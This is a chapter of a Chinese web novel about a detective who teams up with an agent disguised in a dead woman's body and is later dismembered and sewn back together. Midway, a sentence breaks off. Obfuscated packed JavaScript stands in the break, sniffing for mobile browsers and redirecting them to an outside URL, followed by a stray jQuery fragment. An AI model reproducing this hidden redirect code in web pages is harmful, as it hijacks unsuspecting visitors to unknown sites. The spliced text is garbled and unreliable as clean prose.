47.二死·分尸

作品:《被绑架的侦探笔记

    陈集等那三个男人跑走之后才追上荀古:“什么时候知道你小警官身份的?”


    “你离开旅社之后,我在登山包里看到了他的工作日志,写的很清楚。”


    “工作日志就这么让你发现了?警戒性不行。”


    “也不是,塞在最底下,我也是一件一件拿出来倒空了才发现的。”荀古往回走着,问陈集,“所以是一个警察来这里查案,结果被这儿的人杀了,所以他发现了什么呢?这个地方有什么秘密?”


    陈集不答话:“大哲学家,查查看吧,谁知道呢。”


    荀古睨眼看陈集,余光里仿佛看见一个人从前面过来,等他正眼看时却见是早晨见过的女人,女人已经穿着那身粗布衣裳,挺着大肚子,背着大背篓,只是这一次,女人好像是冲他们来的。


    荀古停住脚,陈集也跟着停住脚,什么话也没问。


    女人果然是冲他们来的,走到荀古面前就停下来了。她先是和荀古四目相对,然后从头顶叫脚面全面扫描了一遍,扫描结束,她点点头,似乎是觉得还不错:“有那么几分模样,”接着她说,“别往那边去了,那边山林里有烟瘴,会死人,还有,”她把背篓取下来放在荀古身前,那里头满满当当的草药,各式各样的,各种品相与颜色,能不能入药另说,但是看着听毒。


    女人说:“这里头的药草你大概过一过,碰到了别往嘴里塞就行,有毒。对了还有,这村子里的水别喝,饭别吃,我知道你是个喝水的,不吃饭死不了,但我不知道你占的这个人是不是……哦,他已经牺牲了,抱歉。”


    她说话总透着一股子随性,有时候还会把尾音吞掉,荀古一直看着她说话,这个调调让他想到了杜池,那是一种类似上位者的从容与压迫,不惧一切,雷厉风行。


    “请问,你是?”


    “啊,自我介绍是吧,我叫隋宁,嗯……来自上城法典司,也就是杜池的同事,你好。”她微微欠身,就算是认识过了。


    荀古猜到了,只是不敢相信。


    嘴替陈集无缝上线:“隋宁??隋宁不是个……你这,你又占了谁的身份,你这别说打架拘捕翻山越岭了,走两步都难。”


    隋宁也打量了陈集,她说不上来是什么表情,只是没有驳斥回击陈集的调侃:“我们善变化伪装,我这也是为了方便在村子里行走,再说了,你见我这样爬山有什么问题嘛?”


    “没有,没有,特别好,所以你现在是这个村子里的人?这个人……”


    “难产,死了,刚生完孩子肚子还没下去呢,我又塞了点东西。别在这儿说话了,我家去?”


    荀古摊手:“请。”


    隋宁健步如飞,别说是个孕妇了,荀古怀疑她背座山都能跑。


    隋宁给他们介绍关于这个村子的事情:“这位妹妹叫丑女,父母双亡,丈夫是给村口站岗的,家里曾经有一个女儿,现在已经嫁出去了,怀胎八个多月,因为给丈夫送饭被和丈夫一起站岗的两个男的肢体侵犯,怂了一辈子的丈夫用锄头把那俩人都杀了。”


    “然后呢?”


    “然后就没有然后了。”


    “这么大的事情没有任何后续?”


    “有,只是后续和那俩畜牲没关系,呸,对不住啊老大,脏话了,”隋宁在自己嘴上来了两巴掌,“她丈夫因为杀了两个劳动力,被关进了牛棚里,说是已经弄死了,不清楚,至于她,呵,她的货质量好,品相也好,卖的价钱更好,所以她被安安全全送回家,村长甚至说要给她重新找个男人。谁知道当天晚上她想撬开窗户跑出来,脚下一滑摔倒,导致提前生产,昨天晚上大雨,没人听见她的声音,她自己给自己生孩子,虽然说不是头一回,但还是没能好好生出来,孩子憋死了,她大出血。”


    “等等,你说不是头一回,指的是不是她头一回生孩子,还是不是头一回自己生孩子?”


    隋宁侧目,眼中带有赞许:“我都说的这么隐蔽了,你也能听出来,可以啊,比法典司那群东西强多了。不错,她不是头一回自己生孩子,前前后后,在她肚子里过过七八个孩子,她自己给自己接生了三个。”


    “原来这样……”


    “她死了,这件事除了咱们三个没人知道,所以一会儿回去悄摸摸的,别声张,听见没?我怎么说你就怎么做,这一案我罩着你,好过的很。”


    荀古听了这话忽然起了怀疑:“为什么?你为什么帮我?”


    隋宁“啧”道:“为什么?你这人时而聪明时而蠢笨,我当然是为了我自己的目的了,杜池是不是说他是来找时序的?我不一样,我有我的任务,至于是什么任务你就别问了,问了我也不会告诉你。”


    陈集听了一路,也沉默了一路,这会儿他才开口说话:“姐姐,我听说上城法典司的隋宁大人是个高冷的,怎么现在看你,有些不符啊?你确定是隋宁吗?该不会和那个斗篷人是一路的,来骗荀古吧?”


    “我闲的,如假包换,在法典司那是工作,你天天工作还能笑出来?烦都烦死了,不高冷难道要活泼,对不起,姐姐做不到。”


    陈集往旁边横撤两步,躲到荀古另一边去。


    互相说话之间就来到了旅社门口,此刻旅社门口聚集了不少人,大约是那三个男人叫来的,也可能是旅社的老板招呼来的,毕竟见鬼了。


    陈集依旧没有露面,荀古跟着丑女,一字一句一行一止都按丑女的意思来。


    他还是比较相信隋宁身份的,因为时序没有给出任何不对劲的提示,也就是说眼前这个隋宁时序是认可的,至于隋宁的目的,不甚重要,就像他要杀死陈集这件事一样,都不甚重要。


    他们两个同时出现,那些人很自然的先和隋宁(丑女)打招呼,说是打招呼,其实更像是询问或者质问:“丑女,你怎么在这里?你怎么和他在一起?”


    这话问的就很没礼貌,他怎么了?仪表堂堂,一身正气,有什么问题,好歹是堂堂的警察,光宗耀祖。


    荀古腹诽着,陈集就像听到了他的腹诽,转到他身边说:“警察是路津的荣耀,却是他们的威胁,荀大侦探,设身处地想一想,他们能欢迎你也是有鬼了。”


    可不就是有鬼了。


    丑女目光呆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555946|139301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    滞,动作反应都极其缓慢,先看看荀古再看看那些人,操着方言,声音迟缓暗哑:“我……上山割草,碰到他找东西,迷路了,我就把他带回来了,他有钥匙。”


    听她说话着实能急死个人,她说的钥匙应该是旅社的房门钥匙,一切都合情合理,那三个男人找到荀古的时候荀古就在找骨头。


    丑女说完挪动着沉重的步子往前继续走,荀古也跟着走,然后荀古被拦住,丑女则去到了人群中间。


    一群人里有几个看着就岁数不小的男人,他们端着架子,垂着眼皮子,说话之前都要清一清嗓子里卡的痰:“路警官,又见面了。”


    荀古装傻:“又见面了?什么时候?我们见过?”


    陈集在一旁不慌不忙的:“过了过了,来第一天就见过了。”


    荀古抿嘴眨眼,表示就这样吧。


    “见过见过,不仅见过,我们还一起吃过饭呢。来个人,请路警官屋里做,好酒好菜端上来。”


    他这边发号施令,那边就有人准备韭菜,一通忙活后荀古坐在了上位,这上位也不是他要坐的,强制性不能不从。


    是吃饭,一桌人陪坐,丑女不知去向,陈集不想进屋,荀古看着桌上的杯盘碗盏,也不想沾手,他推辞自己不饿不吃饭——这是实话,又说不渴不喝水,酒量不好不喝酒,一番推辞之下在他身后点起了一炷香。


    “咚”的一声,再醒来他躺在山沟里,隋宁和陈集坐在旁边用不知道从哪里得来的扑克打牌,他是那个地主。


    “别动啊,”陈集或许是有第三只眼睛看到他眼皮动了动,出口制止道,“还没长好,躺一会儿吧。”


    “什……咳咳咳……什么……没……长好?”荀古感觉自己活不了了,难受的要命。


    轮到陈集出牌,他拿了一张红桃二,却没记着出出去,而是在荀古身体上方比划比划:“胳膊两条,缝合之后长得不错,手两个,也还行,两只脚有些松,再等等,两条腿四节,嗯……不太行,再等等,胯骨轴往上脖子以下,和包括脖子在内的所有缝合口都不太紧,能说过都是奇迹……该你出牌了,我一个二你要不要?你还剩两个三,两个八。”


    荀古心里一片漆黑。


    “要不起,”荀古问,“所以这一次我又死了?还是大卸八块那种?”


    隋宁出声:“不错,你又死了,这次是分尸,分尸手法还挺利索,惯犯,分尸之后你被埋在东北角,我俩才挖出来没多久。”


    荀古心累:“辛苦你们了。”


    陈集大度道:“不辛苦,对了,我还挖到了你的一根骨,给你安上去了啊,这里的水清澈——看上去挺清澈,我洗了洗,你要是嫌脏,也没办法。”


    荀古:“……下一次估计就得火烧了。”


    “你怎么对火烧这么情有独钟啊……水葬也行啊……王炸,我赢了,洗牌洗牌。”


    “你到底是干什么的,是不是出老千了?”


    隋宁的质问回荡在月色之下,而月光洒在荀古或者说路津身上,凉,彻骨寒凉。


    “你不会着凉受潮,放心啊。”